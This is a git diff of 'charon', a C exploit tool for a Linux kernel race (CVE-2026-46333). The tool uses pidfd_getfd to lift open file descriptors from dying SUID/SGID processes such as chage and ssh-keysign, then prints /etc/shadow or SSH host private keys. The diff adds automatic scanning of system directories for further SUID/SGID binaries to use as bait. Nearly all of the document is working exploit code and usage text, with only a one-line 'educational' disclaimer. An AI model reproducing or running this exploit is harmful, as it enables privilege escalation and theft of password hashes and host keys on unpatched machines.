diff --git a/README.md b/README.md index 3144344..12afa39 100644 --- a/README.md +++ b/README.md @@ -101,10 +101,25 @@ Output: a single ELF `./charon`. ./charon -q # no banner / progress, just shadow on stdout ./charon -v # show per-hit + final stats ./charon -r 5000 # more patience for slow systems -./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign lure) +./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign bait) +./charon -a # auto-discover SUID/SGID baits if built-ins miss +./charon -L # list candidate baits without trying any ./charon --help ``` +### Auto-discovery + +`--auto` walks `/usr/bin`, `/usr/sbin`, `/usr/local/{bin,sbin}`, +`/usr/lib/openssh`, `/usr/libexec`, `/bin`, `/sbin`, finds every +SUID/SGID regular file (excluding interactive baits like `su`, +`sudo`, `newgrp`, `pkexec`), and tries each as a bait against the +requested target. Per-bait budget is tight (5 rounds × 2000 inner) +so a full scan finishes in ~10 seconds even when nothing matches. + +`--list-baits` is the read-only version — it enumerates the same +candidates without firing the exploit. Useful for surveying which +distros ship which baits. + ### Exit codes | Code | Meaning | diff --git a/charon-static b/charon-static index 7c1e03d..fc6afcb 100755 Binary files a/charon-static and b/charon-static differ diff --git a/charon.c b/charon.c index cdb264b..6f48773 100644 --- a/charon.c +++ b/charon.c @@ -1,17 +1,17 @@ /* - * ____ _ _ _ ____ ___ _ _ - * / ___|| | | | / \ | _ \ / _ \| \ | | - * | | | |_| | / _ \ | |_) | | | | \| | - * | |___ | _ |/ ___ \| _ <| |_| | |\ | - * \____||_| |_/_/ \_\_| \_\\___/|_| \_| - * - * ferries file descriptors across the exit-mm() Styx - * CVE-2026-46333 / Linux <= 6.12.89 + * ██████╗██╗ ██╗ █████╗ ██████╗ ██████╗ ███╗ ██╗ + * ██╔════╝██║ ██║██╔══██╗██╔══██╗██╔═══██╗████╗ ██║ + * ██║ ███████║███████║██████╔╝██║ ██║██╔██╗ ██║ + * ██║ ██╔══██║██╔══██║██╔══██╗██║ ██║██║╚██╗██║ + * ╚██████╗██║ ██║██║ ██║██║ ██║╚██████╔╝██║ ╚████║ + * ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ + * ~ ~ ~ ferries fds across the exit-mm() Styx ~ ~ ~ + * CVE-2026-46333 / Linux <= 6.12.89 * * "It is a fearful thing to fall into the hands of the living God." - * — Hebrews 10:31 + * — Hebrews 10:31 * - * Charon races pidfd_getfd(2) against a dying SUID-root process to + * Charon races pidfd_getfd(2) against a dying SUID/SGID process to * lift its open /etc/shadow file descriptor through the transient * mm-NULL window in do_exit(): * @@ -21,16 +21,17 @@ * └── exit_files() ← fd table reaped * * The kernel's __ptrace_may_access treats mm==NULL as "kernel thread, - * never dumpable" and short-circuits the dumpable check. The dying - * userspace SUID process is briefly indistinguishable from a kernel - * thread in that test, so pidfd_getfd(2) succeeds against it and - * returns whatever fds it still has open before exit_files() runs. + * never dumpable" and short-circuits the dumpable check. A dying + * userspace SUID/SGID process is briefly indistinguishable from a + * kernel thread in that test, so pidfd_getfd(2) succeeds against it + * and returns whatever fds it still has open before exit_files() runs. * - * If the SUID binary opened /etc/shadow and then setreuid'd to the + * If the bait binary opened /etc/shadow and then setreuid'd to the * attacker uid before exiting, Charon walks home with the fd. * * Mainline fix: 31e62c2ebbfd (Linus, 2026-05-14) * Disclosure: Qualys → oss-security 2026-05-15 + * * Educational and authorized-defensive use only. */ #define _GNU_SOURCE @@ -41,10 +42,12 @@ #include #include #include +#include +#include +#include #include #include #include -#include #include #ifndef __NR_pidfd_open @@ -54,55 +57,114 @@ #define __NR_pidfd_getfd 438 #endif -#define CHARON_VERSION "1.0.0" +#define CHARON_VERSION "1.1.0" static const char BANNER[] = "\n" -" ____ _ _ _ ____ ___ _ _\n" -" / ___|| | | | / \\ | _ \\ / _ \\| \\ | |\n" -"| | | |_| | / _ \\ | |_) | | | | \\| |\n" -"| |___ | _ |/ ___ \\| _ <| |_| | |\\ |\n" -" \\____||_| |_/_/ \\_\\_| \\_\\\\___/|_| \\_|\n" -"\n" -" ferries fds across the exit-mm() Styx\n" -" CVE-2026-46333 / Linux <= 6.12.89\n" +" \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 " +"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 " +"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 " +"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\n" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" +"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n" +"\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n" +" \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d" +"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d" +"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d" +"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d " +"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d " +"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\n" +" ~ ~ ~ ferries fds across the exit-mm() Styx ~ ~ ~\n" +" CVE-2026-46333 / Linux <= 6.12.89\n" "\n"; -/* A lure is a SUID-root binary that opens FILE before dropping uid - * and exiting. invoking ARGV makes it open FILE deterministically. */ -struct lure { +/* A bait is a SUID/SGID binary that opens FILE before dropping creds + * and exiting. ARGV makes it open FILE deterministically. */ +struct bait { const char *path; const char *file; - const char *const argv[5]; + const char *args[6]; /* argv terminated by NULL */ }; -static const struct lure lures[] = { - /* chage -l opens /etc/shadow via SGID-shadow on Debian/Ubuntu; - * via SUID-root on RHEL family. Either way we ride the elevation. */ +static const struct bait builtin_baits[] = { + /* chage -l opens /etc/shadow on Debian/Ubuntu (SGID-shadow) + * and on RHEL family (SUID-root). Either way the dumpable=0 flag + * is set on the dying process — the bug bypasses the check. */ { "/usr/bin/chage", "/etc/shadow", { "chage", "-l", "root", NULL } }, { "/usr/sbin/chage", "/etc/shadow", { "chage", "-l", "root", NULL } }, - /* ssh-keysign reads /etc/ssh/ssh_host_*_key when HostbasedAuthentication - * is enabled; newer builds bail early but still open the file first. */ + + /* ssh-keysign opens the host private keys when invoked even with + * no args (it bails after the open if HostbasedAuthentication is + * off, but we only need it to OPEN the file). */ { "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key", { "ssh-keysign", NULL } }, { "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ed25519_key", { "ssh-keysign", NULL } }, + { "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_rsa_key", + { "ssh-keysign", NULL } }, + { "/usr/libexec/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key", + { "ssh-keysign", NULL } }, + { NULL, NULL, { NULL } } }; +/* Auto-discovery search roots and the SUID/SGID names we refuse to + * invoke (would prompt for input, hang waiting, or mutate state). */ +static const char *const auto_search_roots[] = { + "/usr/bin", "/usr/sbin", "/usr/local/bin", "/usr/local/sbin", + "/usr/lib/openssh", "/usr/libexec", "/usr/libexec/openssh", + "/bin", "/sbin", NULL +}; +static const char *const auto_skip_names[] = { + "su", "sudo", "doas", "pkexec", "newgrp", + "mount", "umount", "fusermount", "fusermount3", + "ping", "ping6", "traceroute", "traceroute6", + NULL +}; +/* Argv patterns we try against each auto-discovered binary. */ +static const char *const auto_arg_patterns[][4] = { + { "-l", "root", NULL }, /* chage / passwd -l root */ + { "-S", "root", NULL }, /* passwd -S root */ + { "--version", NULL }, /* most tools, fast + safe */ + { NULL }, /* no args (some tools open files on startup) */ +}; + /* CLI state */ static const char *opt_target = NULL; static int opt_quiet = 0; static int opt_verbose = 0; static int opt_rounds = 500; static int opt_inner = 30000; +static int opt_auto = 0; +static int opt_list = 0; +/* Stats spanning all hunt() invocations. */ static unsigned long stat_forks = 0; -static unsigned long stat_getfds = 0; /* pidfd_getfd calls */ -static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >=0 */ -static unsigned long stat_target_hits = 0; /* matched want_file */ +static unsigned long stat_getfds = 0; /* pidfd_getfd calls */ +static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >= 0 */ +static unsigned long stat_target_hits = 0; /* fd's readlink matched want_file */ static void msg(const char *prefix, const char *fmt, ...) @@ -123,37 +185,32 @@ dump_fd(int fd) char buf[8192]; ssize_t n; lseek(fd, 0, SEEK_SET); - while ((n = read(fd, buf, sizeof(buf))) > 0) { - if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n) - return -1; - } + while ((n = read(fd, buf, sizeof(buf))) > 0) + if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n) return -1; fflush(stdout); return n < 0 ? -1 : 0; } static int -lure_present(const struct lure *l) +bait_present(const char *path) { struct stat st; - if (stat(l->path, &st) != 0) return 0; - /* Accept SUID-anything OR SGID-anything — both trigger the - * dumpable flag in execve which is exactly the protection that - * the mm==NULL hole bypasses. On Debian/Ubuntu chage is SGID - * shadow (not SUID root); on RHEL family chage is SUID root. */ + if (stat(path, &st) != 0) return 0; + if (!S_ISREG(st.st_mode)) return 0; if (!(st.st_mode & (S_ISUID | S_ISGID))) return 0; return 1; } -/* Returns 0 on success (file contents on stdout). Negative codes: - * -ENOENT lure binary missing / no setuid|setgid - * -ETIME ran out of rounds; primitive is working but lure didn't open want_file - * -EPERM pidfd_getfd never succeeded across many rounds — kernel is patched */ +/* Returns: + * 0 success — file contents on stdout + * -ENOENT bait not present / lacks setuid|setgid + * -ETIME primitive fired but target file wasn't in the fd table + * -EPERM pidfd_getfd never succeeded — kernel likely patched + */ static int -hunt(const struct lure *l, const char *want_file) +hunt(const char *path, const char *want_file, const char *const argv[]) { - if (!lure_present(l)) return -ENOENT; - - msg("[*]", "lure %s target %s", l->path, want_file); + if (!bait_present(path)) return -ENOENT; unsigned long getfd_ok_before = stat_getfd_ok; @@ -164,7 +221,7 @@ hunt(const struct lure *l, const char *want_file) if (c == 0) { int dn = open("/dev/null", O_RDWR); if (dn >= 0) { dup2(dn, 1); dup2(dn, 2); close(dn); } - execv(l->path, (char *const *)l->argv); + execv(path, (char *const *)argv); _exit(127); } @@ -174,23 +231,20 @@ hunt(const struct lure *l, const char *want_file) if (pfd < 0) { waitpid(c, NULL, 0); continue; } int got = -1; - for (int a = 0; a < opt_inner && got < 0; a++) { for (int i = 3; i < 32; i++) { int s = syscall(__NR_pidfd_getfd, pfd, i, 0); stat_getfds++; if (s < 0) continue; - - stat_getfd_ok++; /* the bug worked at least at the syscall level */ - + stat_getfd_ok++; char p[512] = {0}, lk[64]; snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s); ssize_t n = readlink(lk, p, sizeof(p) - 1); if (n > 0) p[n] = 0; - if (strstr(p, want_file)) { if (opt_verbose) - msg("[+]", "hit fd %d -> %s round=%d try=%d", i, p, round, a); + msg("[+]", "hit fd %d -> %s round=%d try=%d", + i, p, round, a); got = s; break; } @@ -203,21 +257,131 @@ hunt(const struct lure *l, const char *want_file) int rc = dump_fd(got); close(got); close(pfd); + kill(c, SIGKILL); waitpid(c, NULL, 0); if (opt_verbose) - msg("[#]", "stats: %lu forks, %lu getfds (%lu succeeded), %lu target hits", + msg("[#]", + "stats: %lu forks, %lu getfds (%lu ok), %lu target hits", stat_forks, stat_getfds, stat_getfd_ok, stat_target_hits); return rc; } close(pfd); + /* Some baits (ssh-agent, daemons) won't exit on their own — + * force them so waitpid doesn't block this whole hunt. */ + kill(c, SIGKILL); waitpid(c, NULL, 0); } - /* If pidfd_getfd never succeeded against this lure, the primitive - * is closed for this binary — likely a patched kernel. */ - if (stat_getfd_ok == getfd_ok_before) - return -EPERM; + if (stat_getfd_ok == getfd_ok_before) return -EPERM; + return -ETIME; +} + +/* Walk standard SUID/SGID roots and try each binary as a bait. + * Uses an aggressive per-bait round budget (auto_rounds) so a full + * sweep finishes in seconds even when nothing matches. */ +static int +auto_discover(const char *want_file, int just_list) +{ + int discovered = 0, attempted = 0, primitive_worked = 0; + /* Save user-set values; restore on exit. */ + int saved_rounds = opt_rounds; + int saved_inner = opt_inner; + if (!just_list) { + /* Per-bait budget for auto mode: keep tight so the sweep is fast. + * Each round is ~1 successful fork+exec + opt_inner * 29 getfd calls. */ + if (opt_rounds > 5) opt_rounds = 5; + if (opt_inner > 2000) opt_inner = 2000; + } + time_t auto_deadline = time(NULL) + (just_list ? 0 : 60); /* 60s budget */ + + for (const char *const *root = auto_search_roots; *root; root++) { + DIR *d = opendir(*root); + if (!d) continue; + struct dirent *e; + while ((e = readdir(d)) != NULL) { + if (e->d_name[0] == '.') continue; + + char path[512]; + int n = snprintf(path, sizeof(path), "%s/%s", *root, e->d_name); + if (n < 0 || n >= (int)sizeof(path)) continue; + + struct stat st; + if (lstat(path, &st) != 0) continue; + if (!S_ISREG(st.st_mode)) continue; + if (!(st.st_mode & (S_ISUID | S_ISGID))) continue; + + int skip = 0; + for (const char *const *s = auto_skip_names; *s; s++) + if (!strcmp(e->d_name, *s)) { skip = 1; break; } + if (skip) continue; + + discovered++; + + if (just_list) { + printf(" %s (mode %04o, %s)\n", + path, st.st_mode & 07777, + (st.st_mode & S_ISUID) ? "SUID" : "SGID"); + continue; + } + + for (size_t ai = 0; + ai < sizeof auto_arg_patterns / sizeof auto_arg_patterns[0]; + ai++) { + const char *argv[6] = { e->d_name }; + int k = 1; + for (int x = 0; auto_arg_patterns[ai][x] && k < 5; x++) + argv[k++] = auto_arg_patterns[ai][x]; + argv[k] = NULL; + + if (opt_verbose) { + char arghint[64] = ""; + for (int x = 1; argv[x] && x < 5; x++) { + strncat(arghint, " ", sizeof(arghint)-strlen(arghint)-1); + strncat(arghint, argv[x], sizeof(arghint)-strlen(arghint)-1); + } + msg("[auto]", "trying %s%s", path, arghint); + } + + attempted++; + int rc = hunt(path, want_file, argv); + if (rc == 0) { + msg("[+]", "auto-discovered working bait: %s", path); + closedir(d); + opt_rounds = saved_rounds; + opt_inner = saved_inner; + return 0; + } + if (rc != -EPERM && rc != -ENOENT) primitive_worked = 1; + + if (time(NULL) > auto_deadline) { + msg("[!]", "60s auto-scan budget exhausted (%d baits tried)", + attempted); + closedir(d); + goto auto_done; + } + } + } + closedir(d); + } +auto_done:; + + /* Restore user budgets. */ + opt_rounds = saved_rounds; + opt_inner = saved_inner; + + if (just_list) { + fprintf(stderr, + "\n discovered %d SUID/SGID binaries in standard roots\n" + " (use --auto to try each as a bait for %s)\n", + discovered, want_file ? want_file : "/etc/shadow"); + return 0; + } + + if (opt_verbose) + msg("[auto]", "scan complete: %d baits tried, %lu fds lifted, %lu hits", + attempted, stat_getfd_ok, stat_target_hits); + if (!primitive_worked && stat_getfd_ok == 0) return -EPERM; return -ETIME; } @@ -229,9 +393,11 @@ usage(const char *prog) "\n" "Usage: %s [options]\n" "\n" - " -t, --target FILE file to read (default: /etc/shadow)\n" - " -r, --rounds N max rounds per lure (default: 500)\n" - " -i, --inner N inner getfd attempts per round (default: 30000)\n" + " -t, --target FILE file to read (default: /etc/shadow)\n" + " -r, --rounds N max rounds per bait (default: 500)\n" + " -i, --inner N inner getfd attempts (default: 30000)\n" + " -a, --auto if built-in baits fail, scan SUID/SGID dirs\n" + " -L, --list-baits enumerate candidate baits and exit\n" " -q, --quiet no banner, no progress\n" " -v, --verbose per-hit + final stats\n" " --version print version and exit\n" @@ -239,7 +405,7 @@ usage(const char *prog) "\n" "Exit codes:\n" " 0 success — file contents on stdout\n" - " 1 no built-in lure on this system opens the requested file\n" + " 1 no bait on this system opens the requested file\n" " 2 kernel appears patched (CVE-2026-46333 closed)\n" " 3 ran out of rounds without a hit (transient — try -r 5000)\n" " 4 CLI / IO error\n" @@ -252,24 +418,28 @@ int main(int argc, char **argv) { static const struct option opts[] = { - {"target", required_argument, 0, 't'}, - {"rounds", required_argument, 0, 'r'}, - {"inner", required_argument, 0, 'i'}, - {"quiet", no_argument, 0, 'q'}, - {"verbose", no_argument, 0, 'v'}, - {"version", no_argument, 0, 1 }, - {"help", no_argument, 0, 'h'}, + {"target", required_argument, 0, 't'}, + {"rounds", required_argument, 0, 'r'}, + {"inner", required_argument, 0, 'i'}, + {"auto", no_argument, 0, 'a'}, + {"list-baits", no_argument, 0, 'L'}, + {"quiet", no_argument, 0, 'q'}, + {"verbose", no_argument, 0, 'v'}, + {"version", no_argument, 0, 1 }, + {"help", no_argument, 0, 'h'}, {0,0,0,0} }; int o; - while ((o = getopt_long(argc, argv, "t:r:i:qvh", opts, NULL)) != -1) { + while ((o = getopt_long(argc, argv, "t:r:i:aLqvh", opts, NULL)) != -1) { switch (o) { - case 't': opt_target = optarg; break; + case 't': opt_target = optarg; break; case 'r': opt_rounds = atoi(optarg); break; case 'i': opt_inner = atoi(optarg); break; - case 'q': opt_quiet = 1; break; - case 'v': opt_verbose = 1; break; + case 'a': opt_auto = 1; break; + case 'L': opt_list = 1; break; + case 'q': opt_quiet = 1; break; + case 'v': opt_verbose = 1; break; case 1 : printf("charon %s\n", CHARON_VERSION); return 0; case 'h': usage(argv[0]); return 0; default : usage(argv[0]); return 4; @@ -278,34 +448,57 @@ main(int argc, char **argv) if (!opt_target) opt_target = "/etc/shadow"; if (opt_rounds < 1 || opt_inner < 1) { usage(argv[0]); return 4; } - if (!opt_quiet) fputs(BANNER, stderr); + if (!opt_quiet && !opt_list) fputs(BANNER, stderr); - /* Iterate lures whose `file` matches what the user asked for. */ - int any_present = 0, all_appear_patched = 1; - for (const struct lure *l = lures; l->path; l++) { - if (strcmp(l->file, opt_target) != 0) continue; - if (!lure_present(l)) continue; - any_present = 1; - - int rc = hunt(l, opt_target); - if (rc == 0) return 0; - if (rc != -EPERM) all_appear_patched = 0; + if (opt_list) { + fprintf(stderr, " built-in baits for %s:\n", opt_target); + int builtin_count = 0; + for (const struct bait *b = builtin_baits; b->path; b++) { + if (strcmp(b->file, opt_target) != 0) continue; + const char *status = bait_present(b->path) ? "OK" : "MISSING"; + fprintf(stderr, " [%s] %s\n", status, b->path); + builtin_count++; + } + if (!builtin_count) fprintf(stderr, " (none — try --auto)\n"); + fprintf(stderr, "\n discovered SUID/SGID candidates in standard roots:\n"); + return auto_discover(opt_target, /*just_list=*/1); } - if (!any_present) { - msg("[!]", "no built-in lure on this system opens %s", opt_target); - msg(" ", "checked: /usr/bin/chage, /usr/sbin/chage, /usr/lib/openssh/ssh-keysign"); - msg(" ", "add a custom lure to lures[] in charon.c for unusual distros"); + /* Phase 1: try built-in baits whose file matches the request. */ + int any_present = 0, all_patched = 1; + for (const struct bait *b = builtin_baits; b->path; b++) { + if (strcmp(b->file, opt_target) != 0) continue; + if (!bait_present(b->path)) continue; + any_present = 1; + msg("[*]", "bait %s target %s", b->path, opt_target); + int rc = hunt(b->path, opt_target, b->args); + if (rc == 0) return 0; + if (rc != -EPERM) all_patched = 0; + } + + /* Phase 2: auto-discover if asked, OR if no built-in bait matched. */ + if (opt_auto || !any_present) { + if (opt_auto) + msg("[*]", "built-in baits exhausted, auto-discovering..."); + else + msg("[*]", "no built-in bait opens %s, trying --auto", opt_target); + int rc = auto_discover(opt_target, /*just_list=*/0); + if (rc == 0) return 0; + if (rc != -EPERM) all_patched = 0; + } + + if (!any_present && !opt_auto) { + msg("[!]", "no built-in bait opens %s — re-run with --auto", opt_target); return 1; } - if (all_appear_patched && stat_getfd_ok == 0) { - msg("[!]", "ran %lu pidfd_getfd calls across %lu forks, none succeeded", + if (all_patched && stat_getfd_ok == 0) { + msg("[!]", "%lu pidfd_getfd calls across %lu forks, none succeeded", stat_getfds, stat_forks); msg("[!]", "kernel is patched for CVE-2026-46333 (fix 31e62c2ebbfd)"); return 2; } msg("[!]", "primitive fires (%lu fds lifted) but none pointed to %s", stat_getfd_ok, opt_target); - msg("[!]", "lure may not open this file on your distro — try -r 5000 or -t "); + msg("[!]", "try -r 5000, -t , or --auto"); return 3; }